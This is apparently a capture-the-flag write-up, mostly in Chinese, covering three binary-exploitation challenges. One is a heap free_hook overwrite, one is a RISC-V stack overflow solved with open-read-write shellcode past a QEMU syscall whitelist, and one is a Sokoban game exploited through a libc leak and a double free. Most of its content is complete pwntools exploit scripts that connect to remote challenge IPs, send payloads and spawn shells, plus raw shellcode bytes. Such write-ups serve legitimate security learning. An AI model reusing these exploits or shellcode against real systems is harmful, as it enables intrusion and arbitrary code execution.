from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('52.152.231.198', 8081) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
def add(index, size): p.sendlineafter(">> \n", "1") p.sendlineafter("input index\n", str(index)) p.sendlineafter("input size\n", str(size))
def delete(index): p.sendlineafter(">> \n", "2") p.sendlineafter("input index\n", str(index))
def edit(index, content): p.sendlineafter(">> \n", "3") p.sendlineafter("input index\n", str(index)) p.sendafter("input content\n", content)
def show(index): p.sendlineafter(">> \n", "4") p.sendlineafter("input index\n", str(index))
def leave_name(name): p.sendlineafter(">> \n", "5") p.sendafter("your name:\n", name)
def show_name(): p.sendlineafter(">> \n", "6")
for i in range(11): add(i, 0x18)for i in range(7): delete(i + 4)
delete(0)delete(1)delete(2)delete(3)leave_name("1212")show(0)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']
for i in range(7): add(i + 4, 0x18)
log.success("libc address is {}".format(hex(libc.address)))
add(11, 0x60)delete(1)payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"edit(11, payload)add(12, 0x50)add(13, 0x50)edit(13, p64(libc.sym['system']))delete(2)
p.interactive()Favourite Architecture flag1
riscv棧溢出的漏洞,但是ghidra反編譯失敗,不知道咋回事。漏洞存在於輸入flag的地方。00010436 b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh0001043a 13 85 07 89 addi a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "0001043e ef 50 d0 41 jal ra,FUN_0001605a //output()00010442 93 07 84 ed addi a5,s0,-0x128 //<< input_falg str 00010446 3e 85 c.mv a0,a500010448 ef 60 20 61 jal ra,read //read()0001044c 93 07 84 ed addi a5,s0,-0x12800010450 3e 85 c.mv a0,a500010452 ef 00 21 09 jal ra,strlen //strlen()00010456 aa 86 c.mv a3,a000010458 03 a7 01 86 lw a4,-0x7a0(gp)0001045c 83 a7 41 86 lw a5,-0x79c(gp)00010460 b9 9f c.addw a5,a400010462 81 27 c.addiw a5,0x000010464 82 17 c.slli a5,0x2000010466 81 93 c.srli a5,0x2000010468 63 94 f6 10 bne a3,a5,LAB_00010570 //不等於0x59就跳轉//...LAB_00010570 XREF[1]: 00010468(j) 00010570 01 00 c.nop00010572 21 a0 c.j LAB_0001057a//...LAB_0001057a XREF[2]: 00010572(j), 00010576(j) 0001057a b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh0001057e 13 85 87 8f addi a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."00010582 ef 60 60 64 jal ra,FUN_00016bc8 //output()00010586 85 47 c.li a5,0x1LAB_00010588 XREF[1]: 0001056e(j) 00010588 3e 85 c.mv a0,a50001058a fe 70 c.ldsp ra,0x1f8(sp)0001058c 5e 74 c.ldsp s0,0x1f0(sp)0001058e 13 01 01 20 addi sp,sp,0x20000010592 82 80 ret從第一層的邏輯看來,首先是read了一個很長的字符串(注意到這裡的函數不一定是read,功能類似)。但是分配的長度才是0x128位元組大小,因此這裡可以溢出。並且如果我們輸入的長度不為0x59那麼直接會跳轉到錯誤輸出的位置之後結束進程,在結束進程的時候讀取了sp+0x1f8的位置的值作為返回地址,因此我們可以直接溢出到返回地址。那麼接下來就是如何利用的問題。diff --git a/linux-user/syscall.c b/linux-user/syscall.cindex 27adee9..2d75464 100644@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1, print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6); }
- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,- arg5, arg6, arg7, arg8);+ switch (num) {+ // syscall whitelist+ case TARGET_NR_brk:+ case TARGET_NR_uname:+ case TARGET_NR_readlinkat:+ case TARGET_NR_faccessat:+ case TARGET_NR_openat2:+ case TARGET_NR_openat:+ case TARGET_NR_read:+ case TARGET_NR_readv:+ case TARGET_NR_write:+ case TARGET_NR_writev:+ case TARGET_NR_mmap:+ case TARGET_NR_munmap:+ case TARGET_NR_exit:+ case TARGET_NR_exit_group:+ case TARGET_NR_mprotect:+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,+ arg5, arg6, arg7, arg8);+ break;+ default:+ printf("[!] %d bad system call\n", num);+ ret = -1;+ break;+ }
if (unlikely(qemu_loglevel_mask(LOG_STRACE))) { print_syscall_ret(cpu_env, num, ret, arg1, arg2,我們看到其只允許調用特定的系統調用,也就是我們只能編寫orw shellcode,而程序沒有開啟pie,也就是棧地址固定不變(需要注意的是本地棧地址和遠程不一樣,因此需要添加滑板指令)。shellcode的編寫參考網上的shellcode.section .text.globl _start.option rvc_start: li a1,0x67616c66 #flag sd a1,4(sp) addi a1,sp,4 li a0,-100 li a2,0 li a7, 56 # __NR_openat ecall c.mv a2,a7 addi a7,a7,7 ecall li a0, 1 addi a7,a7,1 ecall10078: 676175b7 lui a1,0x676171007c: c665859b addiw a1,a1,-92210080: 00b13223 sd a1,4(sp)10084: 004c addi a1,sp,410086: f9c00513 li a0,-1001008a: 4601 li a2,01008c: 03800893 li a7,5610090: 00000073 ecall10094: 8646 mv a2,a710096: 089d addi a7,a7,710098: 00000073 ecall1009c: 4505 li a0,11009e: 0885 addi a7,a7,1100a0: 00000073 ecallfrom pwn import *
file_path = "./main"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process(["./qemu-riscv64", "-g", "1234", file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('119.28.89.167', 60001)
stack = 0x4000800c70nop = p32(0x00000013)
p.recvuntil("Input the flag: ")payload = b"a"*0x118payload += p64(stack)*2
shellcode = nop * 0xd0shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)
payload += shellcode
p.sendline(payload)
p.interactive()程序實現了一個類似於迷宮的操作,提供了如下的幾種功能h SokobanHow to Play: Push all boxs into target placeMap: 1)█:wall 2)○:Target 3)□:Box 4)♀:Player 5)●:Box on targetCommand: 1)h: show this message 2)q: quit the game 3)w: move up 4)s: move down 5)a: move left 6)d: move right 7)b: move back 8)m: leave message k)n: show name 10)l: show message目前逆向出的game結構體如下,其中map另有結構體存儲。00000000 game struc ; (sizeof=0x50, mappedto_7)00000000 map_vector_start dq ?00000008 current_vector dq ?00000010 vector_end dq ?00000018 start_time dq ?00000020 end_time dq ?00000028 cost_time dq ?00000030 level dd ?00000034 unknown dd ?00000038 step_forward db ?00000039 is_quit db ?0000003A db ? ; undefined0000003B db ? ; undefined0000003C db ? ; undefined0000003D db ? ; undefined0000003E db ? ; undefined0000003F db ? ; undefined00000040 map dq ?00000048 message dq ?00000050 game ends__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>){ __int64 v4; char v6;
v6 = 1; while ( v6 ) { game_func(a4); v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?"); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 ) v6 = 0; } return 0LL;}
unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>){ unsigned __int64 result; char v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); init_game((game *)&v2, 0); game_start((game *)&v2, 0LL, a1); result = leave_name((__int64)&v2); __readfsqword(0x28u); return result;}
void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>){ char num; game *a1a;
a1a = a1; sub_FE91(); a1->step_forward = 1; a1->level = -1; while ( !a1a->is_quit ) { while ( a1a->level == -1 && !a1a->is_quit ) { num = get_input((__int64)a1, (void *)a2); a2 = (unsigned int)num; a1 = a1a; detec_error_quit(a1a, num); } if ( a1a->is_quit ) break; get_map(a1a); handle_step(a1a, a3); a1 = a1a; put_map_vector(a1a); } sub_FE98();}
unsigned __int64 __fastcall leave_name(game *a1){ __int64 v1; __int64 v2; game *v4; __int64 name; unsigned __int64 v6;
v4 = a1; v6 = __readfsqword(0x28u); v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?"); std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' ) { v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:"); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name); std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name); put_name_to_vector((game *)&::a1, (__int64)&name); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name); } clear_map_vector(v4); operator delete((void *)v4->message); sub_C026(v4); return __readfsqword(0x28u) ^ v6;}程序存在兩個漏洞,一個是算是message髒數據。首先在init_game函數中為game->message分配空間的時候並沒有清空內存中的數據,而message的堆塊大小為0x510,也就是說釋放之後重新申請即可以洩漏得到libc基址。程序恰好存在restart的情況,因此我們可以據此洩漏得到libc基址。send_level("q")send_order("n")send_order("y")send_level("l")p.recvuntil("message:")libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']log.success("libc address is {}".format(hex(libc.address)))另一個就是map+0xe0處保存指針的double free漏洞。該處的漏洞是在調試中發現的,在update level之後會退出會出現一個double free的漏洞,堆塊的大小是0x60。那麼接下來就是double free如何利用的問題了。我們能夠進行任意堆塊分配的就是message了。但是程序中採用的是cin進行讀取的,不能覆蓋到0x60的堆塊。但是我們看到在讀取得到message之後會將其put vector。在該函數中會按照我們輸入的message的長度進行堆塊申請if ( current_vector_c ) current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string( current_vector_c, name_c);這裡就達到了我們任意申請堆塊的目的。下面就是正常的double free的操作了。這裡注意的是put_name_vector函數調用結束之後就是name的析構函數。put_name_to_vector((game *)&::a1, (__int64)&name);std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&name,(__int64)&name);在我們覆寫完畢free_hook之後此處是第一次調用的位置(需要注意name vector的擴展情況),因此我們將name的起始八個字節改為/bin/sh,覆寫的fd指針自然變為free_hook-0x8。from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('52.152.231.198', 8082) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
def send_order(order): p.sendlineafter("Please input an order:\n", order)
def send_level(level): p.sendlineafter("Please input an level from 1-9:\n", level)
def leave_name(name): p.sendlineafter("your name:", name)
send_level("q")send_order("n")send_order("y")send_level("l")p.recvuntil("message:")libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']log.success("libc address is {}".format(hex(libc.address)))
send_level("1")send_order("2")send_order("q")send_order("n")leave_name(b"a"*0x70) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name(b"a"*0x50) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))
p.interactive()